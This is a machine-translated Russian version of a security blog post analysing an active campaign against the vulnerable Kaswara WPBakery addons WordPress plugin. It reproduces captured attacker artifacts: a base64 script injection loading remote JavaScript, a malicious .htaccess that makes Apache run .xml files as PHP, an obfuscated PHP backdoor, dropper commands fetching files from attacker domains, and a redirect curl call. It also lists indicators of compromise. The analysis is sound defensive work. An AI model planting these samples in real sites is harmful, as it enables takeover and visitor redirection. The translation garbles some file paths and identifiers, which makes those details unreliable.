Уязвимый плагин Kaswara Modern WPBakery Page Builder Addons эксплуатируется в дикой природе
Опубликовано: 2021-06-08Еще 20 апреля 2021 года наши друзья из WPScan сообщили о серьезной уязвимости в надстройках Kaswara Modern VC, также известных как надстройки Kaswara Modern WPBakery Page Builder. Он больше не доступен на Codecanyon/Envato, а это означает, что если он у вас запущен, вы должны выбрать альтернативу.
Эта уязвимость позволяет неавторизованным пользователям загружать произвольные файлы в каталог значков плагина (./wp-content/uploads/kaswara/icons). Это первый индикатор компрометации (IOC), которым наши друзья из WPScan поделились с нами в своем отчете.
Возможность загружать произвольные файлы на веб-сайт дает злоумышленнику полный контроль над сайтом, что затрудняет определение конечной полезной нагрузки этой инфекции; таким образом, мы покажем вам все, что мы нашли до сих пор (мы немного увлеклись исследованием, поэтому не стесняйтесь переходить к разделу IOC, если вы не хотите читать).
Внедрение базы данных, поддельные приложения для Android и другие бэкдоры
Спасибо нашему другу Денису Синегубко из Sucuri за указание на последующую инъекцию базы данных, используемую в этой атаке.
Злоумышленники будут обновлять параметр «kaswara-customJS», чтобы добавить произвольный вредоносный фрагмент кода Javascript. Вот один пример, который мы нашли:
INSERT INTO `wp_options` (`option_id`, `option_name`, `option_value`, `autoload`) VALUES (1856,'kaswara-customJS',
'dmFyIHNjcmlwdCA9IGRvY3VtZW50LmNyZWF0ZUVsZW1lbnQoXCdzY3JpcHRcJyk7CnNjcmlwdC5vbmxvYWQgPSBm
dW5jdGlvbigpIHsKfTsKc2NyaXB0LnNyYyA9IFwiaHR0cHM6Ly9ldmFkYXYubGluay9zY3JpcHQuanNcIjsKZG9jdW1lbnQu
Z2V0RWxlbWVudHNCeVRhZ05hbWUoXCdoZWFkXCcpWzBdLmFwcGVuZENoaWxkKHNjcmlwdCk7','yes');
Эта строка в кодировке base64 переводится как:
var script = document.createElement(\'script\');
script.onload = function() {
};
script.src = \"hxxps://evadav[.]link/script.js\";
document.getElementsByTagName(\'head\')[0].appendChild(script);
И, как обычно бывает с этим типом скрипта, он будет последовательно загружать ряд других фрагментов кода Javascript, а конечная полезная нагрузка будет либо вредоносной рекламой, либо набором эксплойтов. Это очень похоже на то, что Wordfence сообщил здесь.
В этом случае скрипт умирает на hxxp://double-clickd[.]com/ и не загружает плохой контент. Я обнаружил подозрительный Javascript, вызывающий этот сайт с начала 2020 года, и люди уже блокируют его с 2018 года.
Поддельные приложения, загруженные на сайт
40 приложений для Android, обнаруженных на изученных нами веб-сайтах, были поддельными версиями различных приложений, таких как AliPay, PayPal, Correos, DHL и многих других, которые, согласно анализу VirusTotal, были обнаружены самыми популярными антивирусными поставщиками.

Я не проверял намерения приложения, но краткий обзор запрашиваемых разрешений может дать нам представление о том, что оно может сделать:
- android.permission.WRITE_SMS
- android.permission.RECEIVE_SMS
- android.permission.FOREGROUND_SERVICE
- android.permission.KILL_BACKGROUND_PROCESSES
- android.permission.READ_CONTACTS
- android.permission.READ_PHONE_STATE
- android.permission.READ_SMS
- android.permission.ACCESS_NETWORK_STATE
- android.permission.QUERY_ALL_PACKAGES
- android.permission.REQUEST_IGNORE_BATTERY_OPTIMIZATIONS
- android.permission.ИНТЕРНЕТ
- android.permission.SEND_SMS
- android.permission.CALL_PHONE
- android.permission.WAKE_LOCK
- android.permission.REQUEST_DELETE_PACKAGES
Однако эти файлы не загружаются немедленно с помощью эксплойта Kaswara. После того, как сайт будет скомпрометирован, злоумышленники сначала загрузят другие инструменты, чтобы полностью контролировать сайт.
Загруженные файлы
Некоторые бэкдоры и другое вредоносное ПО также были обнаружены на сайтах, скомпрометированных этой уязвимостью. В этом посте я поделюсь кратким анализом самых популярных и интересных из них. Однако сначала я хочу остановиться на самом сложном.
Перенаправление и поддельные приложения
Поддельные приложения, которые я обнаружил на нескольких взломанных сайтах, не были загружены с использованием уязвимости Kaswara. Они загружаются на сайт с помощью многофункционального хакерского инструмента, который позволяет злоумышленнику загрузить некоторый удаленный код (предоставив URL-адрес или строку) и перенаправить пользователя на вредоносный сайт.
Файл можно легко идентифицировать по наличию этой строки: base64_decode('MTIz');error_reporting(0);
функция
Интересно, что он рандомизирует все остальное, кроме этого.
Вредоносное ПО находится в одной строке, что также является интересным IOC, если вы ищете этот тип аномалии кода.

Чтобы было легче понять, я расшифровал большую часть кода, переименовал интересные функции и украсил код. Зловред включает в себя 6 различных функций, 5 из которых основаны на значениях, передаваемых в переменной $_GET['ts']
. Для этого документа давайте рассмотрим один из множества найденных мной экземпляров: c.php
.

/c.php?ts=кт
Это ничего не делает и заставит сайт возвращать ошибку 500 (позже в коде).
/c.php?ts=1
Изменяет значение флага $q1a
на true, чтобы выполнить проверку кода и вывести атакующему сообщение OK.
В этом случае удаленный сайт отвечает: {"body":"","headers":["Location: http:\/\/good-valid-1"],"status":302,"contentType":""}

/c.php?ts=sv&v="Код"&p=40bd001563085fc35165329ea1ff5c5ecbdbbeef
Записывает на сервер файл с кодом, предоставленным содержимым $_GET["v"]
до тех пор, пока $_GET["p"]
является контрольной суммой SHA1, равной 123 (помните тот первый IOC base64_decode('MTIz')
? это это контрольная сумма).

/c.php?ts=тт
Записывает 5 МБ «-» на сервер, вероятно, используется для проверки, будет ли функция загрузки работать на сервере.

/c.php?ts=dwm&h=ХЭШ1,ХЭШ2
Когда вредоносная программа получает этот запрос, она выполняет тест, чтобы убедиться, что загруженные файлы были успешно записаны на сервер. Их хэши MD5 должны быть известны и отправляются в переменную $_GET['h']
в виде значений, разделенных запятыми.

/c.php?ts=dw&h=hash&l=URLs_as_CSV
Загружает файл с ряда сторонних веб-сайтов и сохраняет его на сервере, называя его после последних 12 символов md5 загруженного файла.
Эта функция используется для загрузки поддельных приложений на сервер.
Вот пример запроса на загрузку вредоносных файлов /c.php?ts=dw&h=7e7bcc10406f3787b0a08d4199e6a697&l=http%3A%2F%2Fsmurfetta.ru%2Fhash-de%2F%3Fh%3D7e7bcc10406f3787b0a08d4199e6a697

Перенаправление доступа
Если была выбрана опция kt
или не выбрана никакая опция, код переходит к перенаправлению, которое достигается путем запроса большого двоичного объекта JSON с необходимыми данными. Затем он перенаправляет посетителя, используя функцию заголовка.

Ответ выглядит следующим образом: {"body":"","headers":["Location: https:\/\/stunningawards.life\/?u=yuek60p&o=2k5p1e0&m=1"],"status":302,"contentType":""}
Функция для выполнения запроса cURL с необходимыми параметрами такова: Ничего особенного…
И это можно перевести в этот запрос cURL:
curl -X POST hxxp://papass[.]ru/click_api/v3 \
-H 'X-Forwarded-For: 200.171.221.1' \
-H 'Accept-Language: *' \
-H 'User-Agent: Mozilla/5.0 (Linux; Android 11; SAMSUNG SM-G975F) AppleWebKit/537.36 (KHTML, like Gecko) SamsungBrowser/14.0 Chrome/87.0.4280.141 Mobile Safari/537.36' \
-d 'token=hmfovdqs9vfxp8s4rwqzxbfz6c43bwgb&force_redirect_offer=1&sub_id_1=dbhomeworkout.com&sub_id_2=dbhomeworkout.com&sub_id_3=dbhomeworkout.com&sub_id_4'
Конечный URL, насколько я мог проверить, является случайным, но имеет ту же характеристику, что и поддельная страница для популярного сервиса или приложения.

wp-content/uploads/kaswara/icons/16/javas.xml и wp-content/uploads/kaswara/icons/16/.htaccess
XML-файл обычно не помечается как потенциальная угроза, но в этом случае у нас есть специально созданный файл .htaccess, который меняет то, как его видит веб-сервер:
Order Deny,Allow
Allow from all
<FilesMatch "_?(javas|homes|menus)\.(php|xml|pdf)\d*$">
AddHandler application/x-httpd-php .xml .pdf
AddType application/x-httpd-php .xml .pdf
# ---
SetHandler application/x-httpd-php
ForceType application/x-httpd-php
# ---
php_value engine 1
# ---
Order Deny,Allow
Allow from all
</FilesMatch>
Фактически, он говорит Apache понимать любые файлы java, home или меню с xml, php или pdf как файл PHP для соответствующей обработки и выполнения. Таким образом, любой из этих файлов, находящихся в той же структуре каталогов, что и этот .htaccess, будет подозрительным.
Файл javas.xml такой же, как и некоторые другие вредоносные файлы, загруженные на сайт. Я обнаружил, что разница в том, что у некоторых есть одна или две пустые строки в конце файла, что делает традиционное хеширование немного сложнее.

<?php
$LnWYZK ="\163"."\164" ."\162\137\162\157" . "\164" . ( 279 - 266) ; if( !empty ( $ { $LnWYZK
("\137" . "\103\102\106" . "\107")} ) ) { $nNZph =$LnWYZK ( "\172". "\161". (4334
-4329 ) ) ; $ouQLkV = $LnWYZK ( "\157\156" . "\146" . "\162" . ( 9680 - 9616) . "\137"
. "\161" . "\162\160\142\161\162" ) ; $VNfzSD =$LnWYZK("\160\145\162"."\156\147\162\137\163\150\141\160"
. "\147\166\142\141" ); foreach ($ { $LnWYZK( "\137". "\103" . "\102" . "\106" . "\107"
) } as $IKRDzf => $NIvHUr )( $nNZph ( $IKRDzf ) === "c" . (2668 - 2626 ) .
"\145\141" ."\71" . "\67" ."\71\145\144" . "\71\70\62" . "\143\60" . (314406 -51163 ) . "\60"
. "\145" . "\71" . "\145" . "\71" . "\70" . "\141" . "\66" . "\66" . "\144" . ( 9786 -
9780 ) && $QZCMY = $VNfzSD( "" , $ouQLkV ( $NIvHUr) ) ) ?$QZCMY () : " "
; }
Вредоносный код запутывается с помощью строк в кодировке str_rot13 и base64. Он также использует шестнадцатеричные значения и математические операции, чтобы немного скрыть строки. Окончательная полезная нагрузка неизвестна, поскольку она создаст функцию на основе значений запроса POST. Однако полезная нагрузка кажется одинаковой каждый раз, поскольку она полагается на проверку md5 перед ее созданием (c42ea979ed982c02632430e9e98a66d6 — это хэш md5).
Вывод
Поскольку это активная кампания, на момент написания этого поста мы обнаруживаем все больше и больше различных примеров вредоносного ПО, попадающих на затронутые сайты. Некоторые из них являются просто вариациями того, что мы здесь имеем, в то время как другие достаточно интересны для более глубокого анализа. Ищите небольшие сообщения, которые скоро появятся, чтобы изучить некоторые из этих других примеров.
Это иллюстрирует важность обновления ваших расширений последними исправлениями безопасности; если разработчики не выпускают исправления своевременно или он удаляется из репозитория WordPress.org (или других торговых площадок), мы настоятельно рекомендуем вам найти ему более безопасную альтернативу.
Если вас беспокоят вредоносные программы и уязвимости вашего сайта, ознакомьтесь с функциями безопасности Jetpack. Jetpack Security обеспечивает простую в использовании комплексную защиту сайта WordPress, включая резервное копирование, сканирование на наличие вредоносных программ и защиту от спама.
Индикаторы компрометации
Здесь вы найдете полный список всех IOC, которые мы определили:
Хэш (SHA-1) | Дорожка | Описание угрозы |
754ee56344b190a7240732eabd43ef8f2e8bace9 | ./2f31eab3b335 | Поддельное Android-приложение |
8f88f0a169323442fe5c7de2a7d0febcfe6d29c7 | ./28052809bdd7 | Поддельное Android-приложение |
1acfd18acc6d4a8413ec417ce02c9cdcfd7f23cd | ./ce52e434cded | Поддельное Android-приложение |
b354b2193e13956747cf3cf1268caaa9ae9601a0 | ./c016456e66cd | Поддельное Android-приложение |
b2cd34e08ea7fad5bef8bb3606d25a2c1cf76466 | ./5d64d12229cf | Поддельное Android-приложение |
886ce65890fb467f8843ba4de782cb65966ef801 | ./47e3bdf4ac71 | Поддельное Android-приложение |
e2314e2de6e12aa6a600fbc538d75c37b7651b7b | ./026ec4ebebfe | Поддельное Android-приложение |
970a29c4322e70ac820f181ff64e9089b6ce69ca | ./5610ec2e788c | Поддельное Android-приложение |
ce7eba127d1d0373af8ab3738bd358d0ed1b7c62 | ./9be9954a7c0a | Поддельное Android-приложение |
423d83a87a3833440f6b810967795876b83b7a90 | ./34b0ea9d688e | Поддельное Android-приложение |
455000cc6fa2693d4ef9cdd1f0e551c720a660f0 | ./7986aa5f641b | Поддельное Android-приложение |
f1a3f3ffa13a98e75da208aa151910052a2893f6 | ./648cabb0afa | Поддельное Android-приложение |
98c6df3fbeb19e4c9a91b82ea4df9ab2dbb901a6 | ./20f9849711cc | Поддельное Android-приложение |
1c6ba3c92895e3d01283cfde2bda2c7f3b6874b3 | ./75002db259ea | Поддельное Android-приложение |
8a2cb8808b11c7d24a5111501aed3e4494e4b292 | ./0c7e4e6a39eb | Поддельное Android-приложение |
f43e3c2cd746f245ac9f38272a81fe1bab1ce415 | ./7237cd011f42 | Поддельное Android-приложение |
f210df00ee1978fc3eda3bc5759d2f7627950c20 | ./3186fb436dae | Поддельное Android-приложение |
b9c2dc421010fb1f273ae40f176da4854830e6b8 | ./04d2e95f9573 | Поддельное Android-приложение |
8484f4bcba9a8ad5f2a451ee8a541929d80400cc | ./34b67b93da5e | Поддельное Android-приложение |
e5b5d3c7789ac0c5fcabf6d18328c9ddf1c891e6 | ./502ba128d12c | Поддельное Android-приложение |
eb41990973aa178d156a83050d34ad9831f66567 | ./2501a5736f6e | Поддельное Android-приложение |
814178f5442be9e748769d61342e33b66ae119f6 | ./ddb83c37197f | Поддельное Android-приложение |
edc53993d4f37286985374f6ebbe29815c42b61c | ./2e0ed75c116b | Поддельное Android-приложение |
6c014dca61b1cd3e6981a731808317d7e931fc94 | ./5f6ec9795436 | Поддельное Android-приложение |
295d49d596b5d062de7d52548ded91284b67ef6a | ./7ed8c17a7cd7 | Поддельное Android-приложение |
c83b20deb16bb1d47a6137b99b7230d707b2a1dc | ./4b30e0221c16 | Поддельное Android-приложение |
6c709124972f6506bd7562ebe4b2567e7dfb7b75 | ./0faa25f73e3c | Поддельное Android-приложение |
816a5ad37b5e1bf7e069969f10f0af41d4ba492f | ./a64122f493dc | Поддельное Android-приложение |
a04651dd95f74a074150bcfe7f6535b0542c8f63 | ./3980315c7daa | Поддельное Android-приложение |
9d9c89268e5158f93b3b0accb387314133d5e719 | ./da15f8061ab2 | Поддельное Android-приложение |
ce8dfe115d9546197d57c9cc9f93abb513aadf4a | ./715b3f4ed70d | Поддельное Android-приложение |
2b61271653b8bd82016ce743cabca8c48444f2c8 | ./f8c2f1514938 | Поддельное Android-приложение |
1d8f259a424c2f7b6441b7ab568623ef762a5325 | ./ea40ee4cea57 | Поддельное Android-приложение |
21f070e33da3a574526817eede699798e59971c1 | ./73b6daad56b6 | Поддельное Android-приложение |
de364006dc140251a90adf8ddfd23b00d4c494c5 | ./a70ce1c2d003 | Поддельное Android-приложение |
1c0bd522cb786e8697bb907f8771c66d991d672c | ./4c63cfe07251 | Поддельное Android-приложение |
a36c3667be58efa50441418b58b5487d873b5d63 | ./067fd1c69444 | Поддельное Android-приложение |
8c21c99670e9158f12ac88feba2e87aaa93b41f0 | ./57fd16f4719d | Поддельное Android-приложение |
31285841768b43a5973b268df2a761055f25b25f | ./14834dab2dd7 | Поддельное Android-приложение |
d3ee06b4c26f7c59b6248f50c8d272e002180d7a | ./28b655b495a9 | Поддельное Android-приложение |
8639df09b4ec97c084ed2be1a914b540eb8ab29e | ./c.php | Сброшенное вредоносное ПО |
95217d8c55b9a83aea2e7d030388daba1e49e27e | ./medovq.php | Сброшенное вредоносное ПО |
2831ea2f80e71f07c408133986cca2558106b9fc | /wp-content/uploads/kaswara/icons/kntl/img.php | Загрузчик файлов PHP |
0fd64ada7454cf1d2640e8f45ea42ca292b3a461 | wp-content/uploads/kaswara/icons/kntl/cc.php | Сброшенное вредоносное ПО |
da39a3ee5e6b4b0d3255bfef95601890afd80709 | wp-content/uploads/kaswara/icons/16/icons.php | Вредоносное ПО для удаленного выполнения кода |
d51366d5062e7fd4d1422a59e75b585053643549 | wp-content/uploads/kaswara/icons/brt/t.php | Сброшенное вредоносное ПО |
4dfbc3c89b170c85a2b2a14c17c12f3e31a7c9b0 | ./wp-контент/siteindex.php | Сброшенное вредоносное ПО |
7464d78fd5022a54203c2c63b80096ce96932422 | ./wp-content/uploads/kaswara/fonts_icon/test2/index.php | Сброшенное вредоносное ПО |
6b763826e285aa96cc4a443edc9f7b8637fa4fd4 | ./wp-content/uploads/kaswara/fonts_icon/test3/index.php | Сброшенное вредоносное ПО |
486ea7a58e28d9f112eb566711d0d8b594f6b238 | ./wp-content/uploads/kaswara/fonts_icon/test3/log.zip | Сброшенное вредоносное ПО |
8b425ee35d253bc891ef9d44a64f20f0b105e4f4 | ./wp-content/uploads/kaswara/fonts_icon/test2/log.zip | Сброшенное вредоносное ПО |
5dd9180835cfbc85e56f25a71977a6fc6a256b35 | ./wp-контент/темы/admindex.php | Сброшенное вредоносное ПО |
7f58c0dfc3dbc5994a757712cd7fb2553d5339dc | ./wp-booking.php | Сброшенное вредоносное ПО |
4566e050c30ce0a6b7fd5c82e9a34a9624d9b2e6 | ./иконы/icons.php | Вредоносное ПО для удаленного выполнения кода |
f7c7fc098575895d9e27b04108ee481b84285aaf | ./icons/yrecyt.php | Сброшенное вредоносное ПО |
0f7ceaf44a9f4eca9ca024d84ec0c6a1bd600447 | ./xeh02b.php или ./wp-content/uploads/xeh02b.php | Сброшенное вредоносное ПО |
64e1b82b8e1fae20fa846b0003c877bc454c00b8 | ./иконки/pewegy.php | Сброшенное вредоносное ПО |
1926459cbe6f3fae524d5c1aa966a023b9def873 | ./иконы/icons.php | Вредоносное ПО для удаленного выполнения кода |
7ed5b8559e1bd49bd0f4a8d0f909c429ed48b6c3 | ./wp-craft/scr.php | Сброшенное вредоносное ПО |
wp-content/uploads/kaswara/icons/16/javas.xml | Вредоносное ПО для удаленного выполнения кода | |
– | smurfetta.ru | Вредоносный домен |
http://papass.ru | Вредоносный домен |